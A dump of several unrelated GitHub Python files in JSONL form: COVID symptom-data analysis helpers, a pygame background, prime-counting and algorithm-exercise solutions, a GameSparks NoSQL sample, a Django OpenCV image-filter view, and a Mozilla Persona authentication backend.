True:\n test_sample = test_sample.reset_index(drop=True)\n print('len test:', len(test_sample))\n write_df_to_csv(test_sample, filename=\"stratified_test_sample_{}.csv\".format(name_suffix))\n print('test sample saved')\n\n train_sample = pd.concat([test_sample, dataframe]).drop_duplicates(keep=False)\n print('len train:', len(train_sample))\n train_sample = train_sample.reset_index(drop=True)\n write_df_to_csv(train_sample, filename=\"stratified_train_sample_{}.csv\".format(name_suffix))\n print('train sample saved')\n\n return 0\n\n\n else:\n print('no good, resampling...')\n create_stratified_test_sample(dataframe, required_ages, required_genders,\n required_hw, required_precs, required_bmi, required_target,\n name_suffix)\n\n\ndef plot_grid_search(cv_results, grid_param_1, grid_param_2, name_param_1, name_param_2):\n\n # Get Test Scores Mean and std for each grid search\n scores_mean = cv_results['mean_test_score']\n scores_mean = np.array(scores_mean).reshape(len(grid_param_2),len(grid_param_1))\n\n scores_sd = cv_results['std_test_score']\n scores_sd = np.array(scores_sd).reshape(len(grid_param_2),len(grid_param_1))\n\n # Plot Grid search scores\n _, ax = plt.subplots(1,1)\n\n # Param1 is the X-axis, Param 2 is represented as a different curve (color line)\n for idx, val in enumerate(grid_param_2):\n ax.plot(grid_param_1, scores_mean[idx,:], '-o', label= name_param_2 + ': ' + str(val))\n\n ax.set_title(\"Grid Search Scores\", fontsize=20, fontweight='bold')\n ax.set_xlabel(name_param_1, fontsize=16)\n ax.set_ylabel('CV Average Score', fontsize=16)\n ax.legend(loc=\"best\", fontsize=15)\n ax.grid('on')\n\ndef plot_search_results(grid):\n \"\"\"Plot search results when supplying a trained GridSearchCV object\"\"\"\n\n ## Results from grid search\n results = grid.cv_results_\n # print(results)\n means_test = results['mean_test_score']\n stds_test = results['std_test_score']\n # means_train = results['mean_train_score']\n # stds_train = results['std_train_score']\n\n ## Get indexes of values per hyper-parameter\n masks_names = list(grid.best_params_.keys())\n # print('best params items:', grid.best_params_.items() )\n masks=[]\n for p_k, p_v in grid.best_params_.items():\n masks.append(list(results['param_'+p_k].data==p_v))\n\n params = grid.param_grid\n # print('mask names:', masks_names)\n # print('params:', params)\n # print('len params:', len(params))\n\n ## Plotting results\n fig, ax = plt.subplots(1,len(params),sharex='none', sharey='all',figsize=(20,5))\n fig.suptitle('Score per parameter')\n fig.text(0.04, 0.5, 'MEAN SCORE', va='center', rotation='vertical')\n pram_performance_in_best = {}\n for i, p in enumerate(masks_names):\n m = np.stack(masks[:i] + masks[i+1:])\n pram_performance_in_best\n best_parms_mask = m.all(axis=0)\n best_index = np.where(best_parms_mask)[0]\n x = np.array(params[p])\n y_1 = np.array(means_test[best_index])\n e_1 = np.array(stds_test[best_index])\n # y_2 = np.array(means_train[best_index])\n # e_2 = np.array(stds_train[best_index])\n ax[i].errorbar(x, y_1, e_1, linestyle='--', marker='o', label='train')\n # ax[i].errorbar(x, y_2, e_2, linestyle='-', marker='^',label='train' )\n ax[i].set_xlabel(p.upper())\n\n plt.legend()\n plt.show()\n\ndef one_hot_encode(dataframe, *args, label: str):\n \"\"\"A function which will one hot encode a specific column and\n return a new dataframe which includes one\n Args: a list of labels which correspond to [0, 1, 2 etc.]\n Label: the key name for the column to be one hot encoded\"\"\"\n # One hot encode categorical columns where not binary\n # Replace numeric values with labels\n\n # Create labels dictionary\n labels_dict = {}\n for i, x in enumerate(*args):\n labels_dict[i] = x\n print(labels_dict)\n\n # Create new categorical column\n dataframe['{} categories'.format(label)] = dataframe['{}'.format(label)].replace(labels_dict)\n print(dataframe)\n\n # One hot encode\n one_hot_columns = pd.get_dummies(dataframe['{} categories'.format(label)])\n print(one_hot_columns)\n\n # Merge\n new_dataframe = pd.concat([dataframe, one_hot_columns], axis=1)\n\n # Drop old columns\n new_dataframe = new_dataframe.drop(columns=['{} categories'.format(label)])\n\n return new_dataframe\n\ndef return_df_of_totals_relative(dataframe,\n start_date: datetime,\n end_date: datetime,\n policy_change: datetime,\n period=7):\n # Get unique tests\n unique_tests_df = dataframe.groupby('id_patients')['date_test'].unique()\n unique_tests_df = pd.DataFrame(unique_tests_df)\n unique_tests_df = unique_tests_df.reset_index()\n\n # Calculate periods before & after\n period = datetime.timedelta(days=period)\n\n total_days_before = policy_change - start_date\n periods_before = total_days_before // period\n\n total_days_after = end_date - policy_change\n periods_after = total_days_after // period\n print('full periods before:', periods_before)\n print('full periods after:', periods_after)\n\n # Set running date & period label\n running_date = policy_change\n period_relative_to_change = -1\n\n # Create new dataframe to copy into\n tests_per_period = pd.DataFrame(columns=['id_patients', 'period_relative_to_change', 'tests_in_period'])\n\n # Loop over the periods before, calculate tests, add to new dataframe\n for index, row in unique_tests_df.iterrows():\n period_relative_to_change = -1\n running_date = policy_change\n\n for i in range(periods_before):\n window_begin = running_date - period\n total_in_window = sum(map(lambda x: x >= window_begin and x < running_date, row['date_test']))\n df = {'id_patients': row['id_patients'],\n 'period_relative_to_change': period_relative_to_change,\n 'tests_in_period': total_in_window}\n tests_per_period = tests_per_period.append(df, ignore_index=True)\n period_relative_to_change += -1\n running_date = window_begin\n\n running_date = policy_change\n period_relative_to_change = 0\n\n # Loop over the periods after, calculate tests, add to new dataframe\n for index, row in unique_tests_df.iterrows():\n period_relative_to_change = 0\n running_date = policy_change\n\n for i in range(periods_after):\n window_end = running_date + period\n total_in_window = sum(map(lambda x: x >= running_date and x < window_end, row['date_test']))\n df = {'id_patients': row['id_patients'],\n 'period_relative_to_change': period_relative_to_change,\n 'tests_in_period': total_in_window}\n tests_per_period = tests_per_period.append(df, ignore_index=True)\n period_relative_to_change += +1\n running_date = window_end\n\n # Tidy up to ordered by patients and test period\n tests_per_period = tests_per_period.sort_values(['id_patients', 'period_relative_to_change'],\n ascending=[True, True], ignore_index=True)\n\n return tests_per_period\n\n\ndef periods_symptomatic(dataframe,\n start_date: datetime,\n end_date: datetime,\n policy_change: datetime,\n period=7):\n\n # create 'is symptomatic column'\n dataframe['symptomatic'] = dataframe['headache'] + dataframe['loss_of_smell'] + dataframe['persistent_cough'] + dataframe['sore_throat'] + dataframe['runny_nose'] + dataframe['fever'] + dataframe['shortness_of_breath']\n\n # drop non-symptomatic assessments\n dataframe = dataframe[dataframe['symptomatic'] > 0]\n\n # get unique days with symptomatic assessments per patient\n unique_sympt_days_df = dataframe.groupby('id_patients')['created_at_assessments'].unique()\n unique_sympt_days_df = pd.DataFrame(unique_sympt_days_df)\n unique_sympt_days_df = unique_sympt_days_df.reset_index()\n print(unique_sympt_days_df)\n\n # Calculate periods before & after\n period = datetime.timedelta(days=period)\n\n total_days_before = policy_change - start_date\n periods_before = total_days_before // period\n\n total_days_after = end_date - policy_change\n print('total days after:', total_days_after)\n periods_after = total_days_after // period\n print('full periods before:', periods_before)\n print('full periods after:', periods_after)\n\n # Set running date & period label\n running_date = policy_change\n period_relative_to_change = -1\n\n # Create new dataframe to copy into\n symptomatic_per_period = pd.DataFrame(\n columns=['id_patients', 'period_relative_to_change', 'symptomatic_in_period', 'days_symptomatic'])\n print(symptomatic_per_period)\n\n # Loop over the periods before, calculate days swmptomatic, add to new dataframe\n for index, row in unique_sympt_days_df.iterrows():\n period_relative_to_change = -1\n running_date = policy_change\n\n for i in range(periods_before):\n window_begin = running_date - period\n total_in_window = sum(map(lambda x: x >= window_begin and x < running_date, row['created_at_assessments']))\n df = {'id_patients': row['id_patients'],\n 'period_relative_to_change': period_relative_to_change,\n 'symptomatic_in_period': 1 if total_in_window > 0 else 0,\n 'days_symptomatic': total_in_window}\n symptomatic_per_period = symptomatic_per_period.append(df, ignore_index=True)\n period_relative_to_change += -1\n running_date = window_begin\n\n running_date = policy_change\n period_relative_to_change = 0\n\n # Loop over the periods after, calculate tests, add to new dataframe\n for index, row in unique_sympt_days_df.iterrows():\n period_relative_to_change = 0\n running_date = policy_change\n\n for i in range(periods_after):\n window_end = running_date + period\n total_in_window = sum(map(lambda x: x >= running_date and x < window_end, row['created_at_assessments']))\n df = {'id_patients': row['id_patients'],\n 'period_relative_to_change': period_relative_to_change,\n 'symptomatic_in_period': 1 if total_in_window > 0 else 0,\n 'days_symptomatic': total_in_window}\n symptomatic_per_period = symptomatic_per_period.append(df, ignore_index=True)\n period_relative_to_change += +1\n running_date = window_end\n\n # Tidy up to ored by patients and test period\n symptomatic_per_period = symptomatic_per_period.sort_values(['id_patients', 'period_relative_to_change'],\n ascending=[True, True], ignore_index=True)\n\n return symptomatic_per_period\n\n\ndef return_df_of_assessments(dataframe,\n start_date: datetime,\n end_date: datetime,\n policy_change: datetime,\n period=7):\n # Get unique assessments\n unique_assess_df = dataframe.groupby('id_patients')['created_at_assessments'].unique()\n unique_assess_df = pd.DataFrame(unique_assess_df)\n unique_assess_df = unique_assess_df.reset_index()\n\n # Calculate periods before & after\n period = datetime.timedelta(days=period)\n\n total_days_before = policy_change - start_date\n periods_before = total_days_before // period\n\n total_days_after = end_date - policy_change\n print('total days after:', total_days_after)\n periods_after = total_days_after // period\n print('full periods before:', periods_before)\n print('full periods after:', periods_after)\n\n # Set running date & period label\n running_date = policy_change\n period_relative_to_change = -1\n\n # Create new dataframe to copy into\n assess_per_period = pd.DataFrame(columns=['id_patients', 'period_relative_to_change', 'assessments_in_period'])\n print(assess_per_period)\n\n # Loop over the periods before, calculate tests, add to new dataframe\n for index, row in unique_assess_df.iterrows():\n period_relative_to_change = -1\n running_date = policy_change\n\n for i in range(periods_before):\n window_begin = running_date - period\n total_in_window = sum(map(lambda x: x >= window_begin and x < running_date, row['created_at_assessments']))\n df = {'id_patients': row['id_patients'],\n 'period_relative_to_change': period_relative_to_change,\n 'assessments_in_period': total_in_window}\n assess_per_period = assess_per_period.append(df, ignore_index=True)\n period_relative_to_change += -1\n running_date = window_begin\n\n running_date = policy_change\n period_relative_to_change = 0\n\n # Loop over the periods after, calculate tests, add to new dataframe\n for index, row in unique_assess_df.iterrows():\n period_relative_to_change = 0\n running_date = policy_change\n\n for i in range(periods_after):\n window_end = running_date + period\n total_in_window = sum(map(lambda x: x >= running_date and x < window_end, row['created_at_assessments']))\n df = {'id_patients': row['id_patients'],\n 'period_relative_to_change': period_relative_to_change,\n 'assessments_in_period': total_in_window}\n assess_per_period = assess_per_period.append(df, ignore_index=True)\n period_relative_to_change += +1\n running_date = window_end\n\n # Tidy up to ored by patients and test period\n assess_per_period = assess_per_period.sort_values(['id_patients', 'period_relative_to_change'],\n ascending=[True, True], ignore_index=True)\n\n return assess_per_period\n\n\ndef symptoms_in_period(dataframe,\n start_date: datetime,\n end_date: datetime,\n policy_change: datetime,\n period=7):\n # create new dataframe to copy into\n symptoms_per_period = pd.DataFrame(\n columns=['id_patients', 'period_relative_to_change', 'symptom_set', 'unique_symptoms_total',\n 'total_symptom_days'])\n\n # create symptoms list column\n dataframe['headache_a'] = dataframe['headache'].apply(lambda x: ['headache'] if x > 0 else [])\n dataframe['loss_of_smell_a'] = dataframe['loss_of_smell'].apply(lambda x: ['loss_of_smell'] if x > 0 else [])\n dataframe['persistent_cough_a'] = dataframe['persistent_cough'].apply(lambda x: ['persistent_cough'] if x > 0 else [])\n dataframe['sore_throat_a'] = dataframe['sore_throat'].apply(lambda x: ['sore_throat'] if x > 0 else [])\n dataframe['runny_nose_a'] = dataframe['runny_nose'].apply(lambda x: ['runny_nose'] if x > 0 else [])\n dataframe['fever_a'] = dataframe['fever'].apply(lambda x: ['fever'] if x > 0 else [])\n dataframe['shortness_of_breath_a'] = dataframe['shortness_of_breath'].apply(lambda x: ['shortness_of_breath'] if x > 0 else [])\n\n dataframe['symptoms_list'] = dataframe['headache_a'] + dataframe['loss_of_smell_a'] + dataframe['persistent_cough_a'] + dataframe['sore_throat_a'] + dataframe['runny_nose_a'] + dataframe['fever_a'] + dataframe['shortness_of_breath_a']\n dataframe['symptoms_tuple'] = dataframe['symptoms_list'].apply(lambda x: tuple(x))\n\n # Calculate periods before & after\n period = datetime.timedelta(days=period)\n\n total_days_before = policy_change - start_date\n periods_before = total_days_before // period\n\n total_days_after = end_date - policy_change\n print('total days after:', total_days_after)\n periods_after = total_days_after // period\n print('full periods before:', periods_before)\n print('full periods after:', periods_after)\n\n # Set running date & period label\n running_date = policy_change\n period_relative_to_change = -1\n\n # Loop over the weeks before policy change\n for week in range(periods_before):\n window_begin = running_date - period\n\n working_dataframe = dataframe[dataframe['created_at_assessments'] < running_date]\n working_dataframe = working_dataframe[working_dataframe['created_at_assessments'] >= window_begin]\n\n # get all the unique symptoms\n unique_patient_symptoms = working_dataframe.groupby('id_patients')['symptoms_tuple'].unique()\n unique_patient_symptoms = pd.DataFrame(unique_patient_symptoms)\n unique_patient_symptoms = unique_patient_symptoms.reset_index()\n\n # unpack all of them\n unique_patient_symptoms['unpacked'] = unique_patient_symptoms['symptoms_tuple'].apply(\n lambda x: list(itertools.chain.from_iterable(x)))\n\n # Create column for unique symptoms in period\n unique_patient_symptoms['symptom_set'] = unique_patient_symptoms['unpacked'].apply(lambda x: set(x))\n\n # Add total symptom days and unique symptoms to the dataframe\n unique_patient_symptoms['unique_symptoms_total'] = unique_patient_symptoms['symptom_set'].apply(\n lambda x: len(x))\n unique_patient_symptoms['total_symptom_days'] = unique_patient_symptoms['unpacked'].apply(lambda x: len(x))\n\n # Tidy up\n unique_patient_symptoms = unique_patient_symptoms.drop(columns=['symptoms_tuple', 'unpacked'])\n\n # Add period relative to change\n unique_patient_symptoms['period_relative_to_change'] = period_relative_to_change\n print('unique_patient_symptoms:', unique_patient_symptoms)\n\n # Add to main dataframe & update running dates\n symptoms_per_period = symptoms_per_period.append(unique_patient_symptoms, ignore_index=True)\n period_relative_to_change += -1\n running_date = window_begin\n\n # Update running date & period label\n running_date = policy_change\n period_relative_to_change = 0\n\n # Loop over the weeks before policy change\n for week in range(periods_after):\n window_end = running_date + period\n\n working_dataframe = dataframe[dataframe['created_at_assessments'] < window_end]\n working_dataframe = working_dataframe[working_dataframe['created_at_assessments'] >= running_date]\n\n # get all the unique symptoms\n unique_patient_symptoms = working_dataframe.groupby('id_patients')['symptoms_tuple'].unique()\n unique_patient_symptoms = pd.DataFrame(unique_patient_symptoms)\n unique_patient_symptoms = unique_patient_symptoms.reset_index()\n\n # unpack all of them\n unique_patient_symptoms['unpacked'] = unique_patient_symptoms['symptoms_tuple'].apply(\n lambda x: list(itertools.chain.from_iterable(x)))\n\n # Create column for unique symptoms in period\n unique_patient_symptoms['symptom_set'] = unique_patient_symptoms['unpacked'].apply(lambda x: set(x))\n\n # Add total symptom days and unique symptoms to the dataframe\n unique_patient_symptoms['unique_symptoms_total'] = unique_patient_symptoms['symptom_set'].apply(\n lambda x: len(x))\n unique_patient_symptoms['total_symptom_days'] = unique_patient_symptoms['unpacked'].apply(lambda x: len(x))\n\n # Tidy up\n unique_patient_symptoms = unique_patient_symptoms.drop(columns=['symptoms_tuple', 'unpacked'])\n\n # Add period relative to change\n unique_patient_symptoms['period_relative_to_change'] = period_relative_to_change\n print('unique_patient_symptoms:', unique_patient_symptoms)\n\n # Add to main dataframe & update running dates\n symptoms_per_period = symptoms_per_period.append(unique_patient_symptoms, ignore_index=True)\n period_relative_to_change += 1\n running_date = window_end\n\n # Tidy up to be ordered by patients and test period\n symptoms_per_period = symptoms_per_period.sort_values(['id_patients', 'period_relative_to_change'],\n ascending=[True, True], ignore_index=True)\n\n return symptoms_per_period\n\n\ndef skeleton_features_df(dataframe,\n start_date: datetime,\n end_date: datetime,\n policy_change: datetime,\n period=7):\n \"\"\"A function to create a skeleton dataframe for all patients, and all periods before\n and after a policy change, to be populated with tests, assessments and symptom data\"\"\"\n\n # Calculate periods before & after\n period = datetime.timedelta(days=period)\n total_days_before = policy_change - start_date\n periods_before = total_days_before // period\n total_days_after = end_date - policy_change\n periods_after = total_days_after // period\n print('full periods before:', periods_before)\n print('full periods after:', periods_after)\n\n # Get unique patients\n unique_patients = dataframe['id_patients'].unique()\n print(unique_patients)\n\n # Create dataframe\n features_skeleton = pd.DataFrame(columns=['id_patients', 'period_relative_to_change'])\n\n # period_relative_to_change = -1\n # Create rows for each period before\n for patient in unique_patients:\n period_relative_to_change = -1\n for i in range(periods_before):\n df = {'id_patients': patient,\n 'period_relative_to_change': period_relative_to_change}\n features_skeleton = features_skeleton.append(df, ignore_index=True)\n period_relative_to_change += -1\n\n for patient in unique_patients:\n period_relative_to_change = 0\n for i in range(periods_before):\n df = {'id_patients': patient,\n 'period_relative_to_change': period_relative_to_change}\n features_skeleton = features_skeleton.append(df, ignore_index=True)\n period_relative_to_change += 1\n\n # Tidy up to be ordered by patients and test period\n features_skeleton = features_skeleton.sort_values(['id_patients', 'period_relative_to_change'],\n ascending=[True, True], ignore_index=True)\n\n return features_skeleton\n\n\ndef make_confusion_matrix(cf,\n group_names=None,\n categories='auto',\n count=True,\n percent=True,\n cbar=True,\n xyticks=True,\n xyplotlabels=True,\n sum_stats=True,\n figsize=None,\n cmap='Blues',\n title=None):\n '''\n This function will make a pretty plot of an sklearn Confusion Matrix cm using a Seaborn heatmap visualization.\n Arguments\n ---------\n cf: confusion matrix to be passed in\n group_names: List of strings that represent the labels row by row to be shown in each square.\n categories: List of strings containing the categories to be displayed on the x,y axis. Default is 'auto'\n count: If True, show the raw number in the confusion matrix. Default is True.\n normalize: If True, show the proportions for each category. Default is True.\n cbar: If True, show the color bar. The cbar values are based off the values in the confusion matrix.\n Default is True.\n xyticks: If True, show x and y ticks. Default is True.\n xyplotlabels: If True, show 'True Label' and 'Predicted Label' on the figure. Default is True.\n sum_stats: If True, display summary statistics below the figure. Default is True.\n figsize: Tuple representing the figure size. Default will be the matplotlib rcParams value.\n cmap: Colormap of the values displayed from matplotlib.pyplot.cm. Default is 'Blues'\n See http://matplotlib.org/examples/color/colormaps_reference.html\n\n title: Title for the heatmap. Default is None.\n '''\n\n # CODE TO GENERATE TEXT INSIDE EACH SQUARE\n blanks = ['' for i in range(cf.size)]\n\n if group_names and len(group_names) == cf.size:\n group_labels = [\"{}\\n\".format(value) for value in group_names]\n else:\n group_labels = blanks\n\n if count:\n group_counts = [\"{0:0.0f}\\n\".format(value) for value in cf.flatten()]\n else:\n group_counts = blanks\n\n if percent:\n group_percentages = [\"{0:.2%}\".format(value) for value in cf.flatten() / np.sum(cf)]\n else:\n group_percentages = blanks\n\n box_labels = [f\"{v1}{v2}{v3}\".strip() for v1, v2, v3 in zip(group_labels, group_counts, group_percentages)]\n box_labels = np.asarray(box_labels).reshape(cf.shape[0], cf.shape[1])\n\n # CODE TO GENERATE SUMMARY STATISTICS & TEXT FOR SUMMARY STATS\n if sum_stats:\n # Accuracy is sum of diagonal divided by total observations\n accuracy = np.trace(cf) / float(np.sum(cf))\n\n # if it is a binary confusion matrix, show some more stats\n if len(cf) == 2:\n # Metrics for Binary Confusion Matrices\n precision = cf[1, 1] / sum(cf[:, 1])\n recall = cf[1, 1] / sum(cf[1, :])\n f1_score = 2 * precision * recall / (precision + recall)\n stats_text = \"\\n\\nAccuracy={:0.3f}\\nPrecision={:0.3f}\\nRecall={:0.3f}\\nF1 Score={:0.3f}\".format(\n accuracy, precision, recall, f1_score)\n else:\n stats_text = \"\\n\\nAccuracy={:0.3f}\".format(accuracy)\n else:\n stats_text = \"\"\n\n # SET FIGURE PARAMETERS ACCORDING TO OTHER ARGUMENTS\n if figsize == None:\n # Get default figure size if not set\n figsize = plt.rcParams.get('figure.figsize')\n\n if xyticks == False:\n # Do not show categories if xyticks is False\n categories = False\n\n # MAKE THE HEATMAP VISUALIZATION\n plt.figure(figsize=figsize)\n sns.heatmap(cf, annot=box_labels, fmt=\"\", cmap=cmap, cbar=cbar, xticklabels=categories, yticklabels=categories)\n\n if xyplotlabels:\n plt.ylabel('True label')\n plt.xlabel('Predicted label' + stats_text)\n else:\n plt.xlabel(stats_text)\n\n if title:\n plt.title(title)\n plt.tight_layout()\n plt.show()","repo_name":"cjmoneill/css_research","sub_path":"my_functions.py","file_name":"my_functions.py","file_ext":"py","file_size_in_byte":62258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"72552409325","text":"import pygame\n\ndef show_sky():\n sky = pygame.surface.Surface((800, 300)).convert()\n sky_1 = pygame.image.load(\"./assets/graphics/pixel_platformer/Background/background_0000.png\").convert()\n sky_2 = pygame.image.load(\"./assets/graphics/pixel_platformer/Background/background_0001.png\").convert()\n sky_3 = pygame.image.load(\"./assets/graphics/pixel_platformer/Background/background_0002.png\").convert()\n\n for x in range(0, 800, 20):\n for y in range(0, 180, 20):\n sky.blit(sky_1, (x, y))\n sky.blit(sky_2, (x, 180))\n for y in range(200, 300, 20):\n sky.blit(sky_3, (x, y))\n return sky\n\ndef show_ground():\n ground = pygame.surface.Surface((800, 100)).convert()\n grond_1 = pygame.image.load(\"./assets/graphics/pixel_platformer/Tiles/tile_0022.png\").convert()\n ground_2 = pygame.image.load(\"./assets/graphics/pixel_platformer/Tiles/tile_0122.png\").convert()\n\n for x in range(0, 800, 18):\n ground.blit(grond_1, (x, 0))\n for y in range(18, 100, 18):\n ground.blit(ground_2, (x, y))\n return ground","repo_name":"tsen159/dino-parkour","sub_path":"background.py","file_name":"background.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"23335236497","text":"import math\nfrom TimingProfiler import TimingProfiler\n\ndef is_prime(n) -> bool:\n if n<=1: return False\n if n%2 == 0: return n==2\n factor_fold = math.ceil(math.sqrt(n))\n for potential_factor in range(3, factor_fold+1, 2):\n if n%potential_factor == 0: return False\n return True\n\ndef cross_off_multiples(i, n, prime) -> None:\n for j in range(i, n+1, i):# All multiples of p -> False\n prime[j] = False\n\ndef sieve_of_eratosthenes(n) -> int:\n prime = [True for i in range(n+1)] #assume all numbers <= n to be prime\n count = 0\n i = 2\n while i <= n:\n if (prime[i] == True):# If prime[p] hasn't changed, then it is a prime\n count += 1\n cross_off_multiples(i, n, prime)\n i += 1\n return count\n\ndef basic_prime_count(n) -> int:\n count=0\n for i in range(2, n+1):\n if is_prime(i):\n count+=1\n return count\n\nif __name__ == \"__main__\":\n actual_prime_counts={\n 10:3,\n 100:25,\n 1000:168\n }\n for count in actual_prime_counts:\n assert(basic_prime_count(count) == actual_prime_counts[count], f\"basic_prime_count is incorect for n ={count}\")\n assert(sieve_of_eratosthenes(count) == actual_prime_counts[count], f\"sieve_of_eratosthenes is incorect for n ={count}\")\n print(f\"\\u03C0({count})={actual_prime_counts[count]}... passed\")\n\n algorithms =[basic_prime_count, sieve_of_eratosthenes]\n inputs=[10, 100, 1000, 10000, 100000, 1000000]\n trials = 10\n\n experiment = TimingProfiler(algorithms, inputs, trials)\n experiment.run_experiments()\n experiment.graph(title=\"Counting Primes\", scale=\"log\")\n","repo_name":"TheDukeVin/AMP","sub_path":"prime_timing/staff/counting_primes_solution.py","file_name":"counting_primes_solution.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"19395346918","text":"# 11235 - Frequent values\nimport sys\nfrom collections import Counter\n\nwhile True:\n try:\n data = list(map(int, sys.stdin.readline().split()))\n if len(data) == 1:\n break\n except:\n break\n values = list(map(int, sys.stdin.readline().split()))\n for _ in range(data[1]):\n l, r = list(map(int, sys.stdin.readline().split()))\n counter = Counter(values[l - 1:r])\n print(max(counter.values()))","repo_name":"dmoini/cmsi299-algorithms-laboratory","sub_path":"TODO/11235.py","file_name":"11235.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71193178286","text":"import gs_nosql as gs\n\nuser_name = 'user'\ncollection = 'player'\n\ngs.authenticate(False) # Set to True if you want to connect to Live server\n\ndef get_gems():\n nosql_params = '{\"query\": {\"userName\":\"' + user_name + '\"}}'\n records = gs.collection_find(collection, nosql_params)\n if records:\n record = records[0]\n gem_count = record['currency1']['$numberLong']\n print('Current gem count: ' + gem_count)\n\ndef set_gems(gems_to_set):\n nosql_params = '{\"multi\": false, \"query\": {\"userName\":\"' + user_name + '\"}, \"update\": { \"$set\" : { \"currency1\" : { \"$numberLong\":\"' + str(gems_to_set) + '\" } }}, \"upsert\": false}'\n gs.collection_update('player', nosql_params)\n\nget_gems()\nset_gems(100)\n","repo_name":"accidentalrebel/GameSparks-NoSQL-Python-Library","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"40629093169","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.core.files.storage import FileSystemStorage\nimport cv2\nimport os\nfrom django.conf import settings\nimport numpy as np\n# Create your views here.\n\nfrom django.shortcuts import redirect\ndef say_hello(request):\n return render(request,'hello.html',{'name':'eniola'})\n\ndef take(request):\n\n\n\n fileObj=request.FILES['in']\n\n if (fileObj):\n\n\n fs = FileSystemStorage()\n filePathName= fs.save(fileObj.name,fileObj)\n filePathName= fs.url(filePathName)\n sketch= request.POST.get('sketch','off')\n blur= request.POST.get('blur','off')\n sharp = request.POST.get('sharp', 'off')\n native= request.POST.get('negative', 'off')\n params ={\"name\":\"Error is\",'string':\"Nothing was selected\"}\n p = settings.MEDIA_ROOT + filePathName\n jc = cv2.imread(p)\n scale_percent = 0.60\n width = int(jc.shape[1] * scale_percent)\n height = int(jc.shape[0] * scale_percent)\n dim = (width, height)\n resize = cv2.resize(jc, dim, interpolation=cv2.INTER_AREA)\n k = np.array([[-1, -1, -1], [-1, 9, -1], [-1, -1, -1]])\n\n if(sketch=='on'):\n\n\n\n\n gray = cv2.cvtColor(jc, cv2.COLOR_BGR2GRAY)\n invert_img=cv2.bitwise_not(gray)\n blur_img = cv2.GaussianBlur(invert_img, (111, 111), 0)\n invblur_img = cv2.bitwise_not(blur_img)\n sketch_img = cv2.divide(gray, invblur_img, scale=256.0)\n pencil_jc= sketch_img\n cv2.imwrite(p,pencil_jc)\n params = {'filePathName':filePathName}\n return render(request, 'hello.html',params)\n\n if (sharp == 'on'):\n sharp = cv2.filter2D(jc, -1, k)\n cv2.imwrite(p, sharp)\n params = {'filePathName': filePathName}\n return render(request, 'hello.html', params)\n if (native == 'on'):\n gray = cv2.cvtColor(jc, cv2.COLOR_BGR2GRAY)\n nat = 255 - gray\n cv2.imwrite(p, nat)\n params = {'filePathName': filePathName}\n return render(request, 'hello.html', params)\n if (blur == 'on'):\n gauss = cv2.GaussianBlur(resize, ksize=(115, 115), sigmaX=0, sigmaY=0)\n cv2.imwrite(p, gauss)\n params = {'filePathName': filePathName}\n return render(request, 'hello.html', params)\n\n else:\n print('hello')\n return redirect('playground:home')\n\n\ndef foo() :\n print('jekko')\n\n\n\n\n\n","repo_name":"es404020/image-filter","sub_path":"playground/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"30514308679","text":"# Subsets II\r\nclass Solution:\r\n def subsetsWithDup(self, nums: [int]) -> [[int]]:\r\n res = []\r\n\r\n def backtrack(current, available):\r\n if not available:\r\n res.append(current[:])\r\n else:\r\n # create candidates\r\n candidate_list, temp = [], []\r\n key, val = available.popitem()\r\n while val >= 0:\r\n val -= 1\r\n candidate_list.append(temp[:])\r\n temp.append(key)\r\n # print(candidate_list)\r\n # Main loop\r\n for candidate in candidate_list:\r\n backtrack(current+candidate, available.copy())\r\n\r\n d = {}\r\n for n in nums:\r\n if n in d:\r\n d[n] += 1\r\n else:\r\n d[n] = 1\r\n\r\n backtrack([], d.copy())\r\n return res\r\n\r\n\r\ns = Solution()\r\nprint(s.subsetsWithDup(nums=[10, 20, 20]))\r\n\r\n# res = []\r\n# def findsubset(nums, n):\r\n# for i in range(2 ** n):\r\n# temp = []\r\n# for j in range(n):\r\n# if i & (1 << j) >= 1:\r\n# temp.append(nums[j])\r\n# if temp not in res:\r\n# res.append(temp)\r\n#\r\n# nums.sort()\r\n# n = len(nums)\r\n# findsubset(nums, n)\r\n# return list(res)","repo_name":"tapasjsaha/leetcode-solutions","sub_path":"leetcode_90.py","file_name":"leetcode_90.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"26342234254","text":"from accounts.models import ListUser\nimport requests\nfrom django.contrib.auth import get_user_model\n\nPERSONA_VERIFY_URL = 'https://verifier.login.persona.org/verify'\nDOMAIN = 'localhost'\nUser = get_user_model()\n\n\nclass PersonaAuthenticationBackend(object):\n\n def authenticate(self, assertion):\n response = requests.post(\n PERSONA_VERIFY_URL,\n data={'assertion': assertion, 'audience': DOMAIN}\n )\n\n if not response.ok:\n return\n\n if response.json()['status'] == 'okay':\n email = response.json()['email']\n\n try:\n return self.get_user(email)\n except User.DoesNotExist:\n return User.objects.create(email=email)\n\n return self.get_user(email)\n\n def get_user(self, email):\n return User.objects.get(email=email)\n\n\nclass PersonaAuthenticationBackend2(object):\n\n def authenticate(self, assertion):\n data = {'assertion': assertion, 'audience': 'localhost'}\n\n # print 'sending to mozilla', data\n\n resp = requests.post(\n 'https://verifier.login.persona.org/verify', data=data)\n\n # print 'got response: ', resp\n\n if resp.ok:\n verification_data = resp.json()\n\n if verification_data['status'] == 'okay':\n email = verification_data['email']\n\n try:\n return self.get_user(email)\n except ListUser.DoesNotExist:\n return ListUser.objects.create(email=email)\n\n def get_user(self, email):\n return 